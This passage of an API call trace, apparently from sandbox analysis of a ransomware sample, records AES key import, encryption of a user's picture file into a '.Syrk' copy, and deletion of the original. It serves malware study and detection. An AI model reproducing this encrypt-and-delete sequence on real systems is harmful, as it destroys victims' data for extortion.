MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.058] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0255.058] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.058] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.058] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.058] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.058] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0255.058] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.058] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.058] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.058] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.058] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0255.058] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.059] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.059] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.059] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.059] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0255.059] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.059] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0255.059] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.059] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.060] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.060] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.060] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0255.060] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.060] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.060] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.060] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.060] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0255.060] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.060] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.060] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.060] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.060] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.060] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.061] EtwEventActivityIdControl () returned 0x0 [0255.061] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.061] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.061] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.061] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0255.063] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0255.064] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x23c4830*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99aa0) returned 1 [0255.064] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.065] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.066] EtwEventActivityIdControl () returned 0x0 [0255.066] EtwEventActivityIdControl () returned 0x0 [0255.066] EtwEventActivityIdControl () returned 0x0 [0255.071] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png")) returned 0x20 [0255.072] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png")) returned 0x20 [0255.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0255.072] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", lpFilePart=0x0) returned 0x28 [0255.073] EtwEventActivityIdControl () returned 0x0 [0255.073] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.073] EtwEventActivityIdControl () returned 0x0 [0255.073] EtwEventActivityIdControl () returned 0x0 [0255.073] EtwEventActivityIdControl () returned 0x0 [0255.074] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0255.074] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", lpFilePart=0x0) returned 0x28 [0255.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.075] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0255.075] GetFileType (hFile=0x364) returned 0x1 [0255.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.075] GetFileType (hFile=0x364) returned 0x1 [0255.075] EtwEventActivityIdControl () returned 0x0 [0255.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.076] EtwEventActivityIdControl () returned 0x0 [0255.076] EtwEventActivityIdControl () returned 0x0 [0255.076] EtwEventActivityIdControl () returned 0x0 [0255.077] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0255.077] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk", lpFilePart=0x0) returned 0x2d [0255.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.077] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0255.078] GetFileType (hFile=0x368) returned 0x1 [0255.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.078] GetFileType (hFile=0x368) returned 0x1 [0255.078] EtwEventActivityIdControl () returned 0x0 [0255.078] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x23d463c | out: pbBuffer=0x23d463c) returned 1 [0255.079] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.079] CryptDuplicateKey (in: hKey=0x5c99aa0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c994e0) returned 1 [0255.079] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.079] CryptSetKeyParam (hKey=0x5c994e0, dwParam=0x4, pbData=0x23d5968*=0x1, dwFlags=0x0) returned 1 [0255.079] CryptSetKeyParam (hKey=0x5c994e0, dwParam=0x1, pbData=0x23d5934, dwFlags=0x0) returned 1 [0255.080] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.080] EtwEventActivityIdControl () returned 0x0 [0255.080] EtwEventActivityIdControl () returned 0x0 [0255.080] EtwEventActivityIdControl () returned 0x0 [0255.081] EtwEventActivityIdControl () returned 0x0 [0255.081] ReadFile (in: hFile=0x364, lpBuffer=0x23d85b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d85b0*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0255.083] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ec5c8*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x23ec5c8*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0255.084] WriteFile (in: hFile=0x368, lpBuffer=0x23d4718*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23d4718*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0255.086] WriteFile (in: hFile=0x368, lpBuffer=0x23ed5b4*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23ed5b4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0255.087] ReadFile (in: hFile=0x364, lpBuffer=0x23d85b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d85b0*, lpNumberOfBytesRead=0x5a2e7d8*=0x60e, lpOverlapped=0x0) returned 1 [0255.088] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24005d4*, pdwDataLen=0x5a2e7cc*=0x600, dwBufLen=0x600 | out: pbData=0x24005d4*, pdwDataLen=0x5a2e7cc*=0x600) returned 1 [0255.088] ReadFile (in: hFile=0x364, lpBuffer=0x23d85b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d85b0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0255.088] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2400be0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2400be0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0255.088] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2400bfc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2400bfc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0255.088] WriteFile (in: hFile=0x368, lpBuffer=0x23d4718*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23d4718*, lpNumberOfBytesWritten=0x5a2e7f8*=0x610, lpOverlapped=0x0) returned 1 [0255.088] CloseHandle (hObject=0x368) returned 1 [0255.091] CloseHandle (hObject=0x364) returned 1 [0255.091] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.091] EtwEventActivityIdControl () returned 0x0 [0255.091] EtwEventActivityIdControl () returned 0x0 [0255.091] EtwEventActivityIdControl () returned 0x0 [0255.097] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png")) returned 0x20 [0255.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0255.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", lpFilePart=0x0) returned 0x28 [0255.099] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.100] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0255.100] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0255.100] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0255.100] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.100] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0255.100] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0255.100] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0255.100] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.100] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0255.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0255.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0255.101] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.101] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0255.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0255.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0255.101] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png")) returned 0x20 [0255.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0255.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", lpFilePart=0x0) returned 0x28 [0255.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0255.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", lpFilePart=0x0) returned 0x28 [0255.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0255.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0255.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", lpFilePart=0x0) returned 0x28 [0255.104] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0255.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0255.104] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0255.104] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0255.105] CoTaskMemFree (pv=0x3b0008) [0255.106] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png")) returned 0x20 [0255.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0255.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png", lpFilePart=0x0) returned 0x28 [0255.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0255.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png"), fInfoLevelId=0x0, lpFileInformation=0x240b8a8 | out: lpFileInformation=0x240b8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87a94930, ftCreationTime.dwHighDateTime=0x1d992d8, ftLastAccessTime.dwLowDateTime=0x41adc580, ftLastAccessTime.dwHighDateTime=0x1d99924, ftLastWriteTime.dwLowDateTime=0x41adc580, ftLastWriteTime.dwHighDateTime=0x1d99924, nFileSizeHigh=0x0, nFileSizeLow=0x1460e)) returned 1 [0255.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0255.107] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png")) returned 1 [0255.109] EtwEventActivityIdControl () returned 0x0 [0255.109] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.110] EtwEventActivityIdControl () returned 0x0 [0255.110] EtwEventActivityIdControl () returned 0x0 [0255.110] EtwEventActivityIdControl () returned 0x0 [0255.118] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png.syrk")) returned 0x20 [0255.119] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png.syrk")) returned 0x20 [0255.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0255.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk", lpFilePart=0x0) returned 0x2d [0255.119] EtwEventActivityIdControl () returned 0x0 [0255.120] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.120] EtwEventActivityIdControl () returned 0x0 [0255.120] EtwEventActivityIdControl () returned 0x0 [0255.120] EtwEventActivityIdControl () returned 0x0 [0255.123] EtwEventActivityIdControl () returned 0x0 [0255.124] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.124] EtwEventActivityIdControl () returned 0x0 [0255.124] EtwEventActivityIdControl () returned 0x0 [0255.124] EtwEventActivityIdControl () returned 0x0 [0255.127] EtwEventActivityIdControl () returned 0x0 [0255.129] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.129] EtwEventActivityIdControl () returned 0x0 [0255.129] EtwEventActivityIdControl () returned 0x0 [0255.129] EtwEventActivityIdControl () returned 0x0 [0255.133] EtwEventActivityIdControl () returned 0x0 [0255.133] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.133] EtwEventActivityIdControl () returned 0x0 [0255.133] EtwEventActivityIdControl () returned 0x0 [0255.133] EtwEventActivityIdControl () returned 0x0 [0255.137] EtwEventActivityIdControl () returned 0x0 [0255.137] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.137] EtwEventActivityIdControl () returned 0x0 [0255.137] EtwEventActivityIdControl () returned 0x0 [0255.137] EtwEventActivityIdControl () returned 0x0 [0255.141] EtwEventActivityIdControl () returned 0x0 [0255.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0255.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\t_ v5C6i.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\t_ v5c6i.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2414c50 | out: lpFileInformation=0x2414c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139f8c10, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x139f8c10, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x13a1ed70, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x14624)) returned 1 [0255.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0255.148] GetConsoleOutputCP () returned 